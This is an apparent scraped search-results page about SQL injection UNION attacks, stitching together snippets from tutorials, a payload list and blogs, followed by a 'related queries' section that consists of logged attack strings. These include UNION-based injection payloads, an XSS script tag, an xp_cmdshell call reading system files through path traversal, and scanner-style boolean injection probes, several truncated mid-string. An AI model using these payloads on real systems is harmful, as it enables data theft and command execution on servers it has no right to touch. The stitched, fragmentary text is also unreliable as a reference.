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SQL injection UNION attacks | Web Security Academy

portswigger.net

' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- etc.

Confusing SQL error in SELECT NULL, *, NULL, NULL - Stack Overflow

stackoverflow.com

UNION ALL SELECT NULL, *, NULL, NULL FROM email. I understand what this does and why; the hacker needs to create a query that has the same number of columns as the query it's being merged with, and shifted around the * to make sure the emails are displayed.

SQL-инъекции' union select null, null, null -- / Habr

habr.com

Почему используется значение NULL? Все просто, типы данных в каждом столбце должны быть совместимы между исходным и внедренным запросами.

GitHub - payloadbox/sql-injection-payload-list: SQL Injection...

github.com

),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null-- union all select @@version,user(),sleep(5),benchmark(1000000,MD5('A')),null,null,null,null,null...

MS SQL Server и T-SQL | UNION

metanit.com

[ UNION [ ALL ] SELECT_выражениеN]. Например, пусть в базе данных будут две отдельные таблицы для клиентов банка (таблица Customers) и для сотрудников банка (таблица Employees)

SQL Injection – Jack Huang – Blog | UNION Statements

www.huangzhong.ca

NULL UNION ALL SELECT username,password,null,null FROM users WHERE username LIKE CHAR(34,37,97,100,109,105,110,37,34)/*. The syntax of the Char() function changes slightly when dealing with Microsoft SQL Server.

SQL NULL Values - IS NULL and IS NOT NULL

www.w3schools.com

The IS NULL operator is used to test for empty values (NULL values). The following SQL lists all customers with a NULL value in the "Address" field: ExampleGet your own SQL Server. SELECT CustomerName, ContactName, Address FROM Customers WHERE Address IS NULL

SQL Injection/UNION Attack - charlesreid1

charlesreid1.com

' Union select 'a',null,null,null-- ' union select null,'a',null,null-- ' Union select null,null,'a',null-- ' union select

Advanced SQL Injection: Union based | VK9 Security

vk9-sec.com

Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentation SELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username. SELECT name FROM master..syslogins WHERE sysadmin = ’1′ — tested on 2005.

Объединение UNION и UNION ALL в SQL – описание и примеры

info-comp.ru

Пришло время поговорить об объединении данных по средствам конструкции union и union all, так как это иногда бывает очень полезно, и без использования такой конструкции бывает порой не обойтись. Примеры будем писать в СУБД MSSQL 2008, используя язык SQL.

Похожие запросы:

"><script >alert(string.fromcharcode(88,83,83))</script>|xss|[kz] kazakstan|08/18/2020 17:41:56|') and 1=1 union all select 1,null,'<script>alert("xss")</script>',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat ../../../et
"><script >alert(string.fromcharcode(88,83,83))</script>|xss|[kz] kazakstan|08/18/2020 17:41:56|') and 1=1 union all select 1,null,'<script>alert("xss")</script>',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat ../../../et
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b and 6908=(select (case when (6908=2550) then 6908 else (select 2550 union select 3456) end))-- hbpi
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b and 7992=(select (case when (7992=7992) then 7992 else (select 8669 union select 1998) end))-- alwt
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b" and 3956=(select (case when (3956=2163) then 3956 else (select 2163 union select 4524) end))-- hzxq
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b" and 7992=(select (case when (7992=7992) then 7992 else (select 8669 union select 1998) end))-- gyij
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b") and 7992=(select (case when (7992=7992) then 7992 else (select 8669 union select 1998) end))-- wian
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b") and 9729=(select (case when (9729=1260) then 9729 else (select 1260 union select 2140) end))-- gehw
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b%' and 7992=(select (case when (7992=7992) then 7992 else (select 8669 union select 1998) end))-- hgjf
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b%' and 9901=(select (case when (9901=7115) then 9901 else (select 7115 union select 6880) end))-- pffb

-1131')) union all select null,null,null,'qpvvq'||'odhrkyugybiujzbqslekuexshcxxajnmntumimko'||'qjjbq',null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null-- uepz на YouTube:

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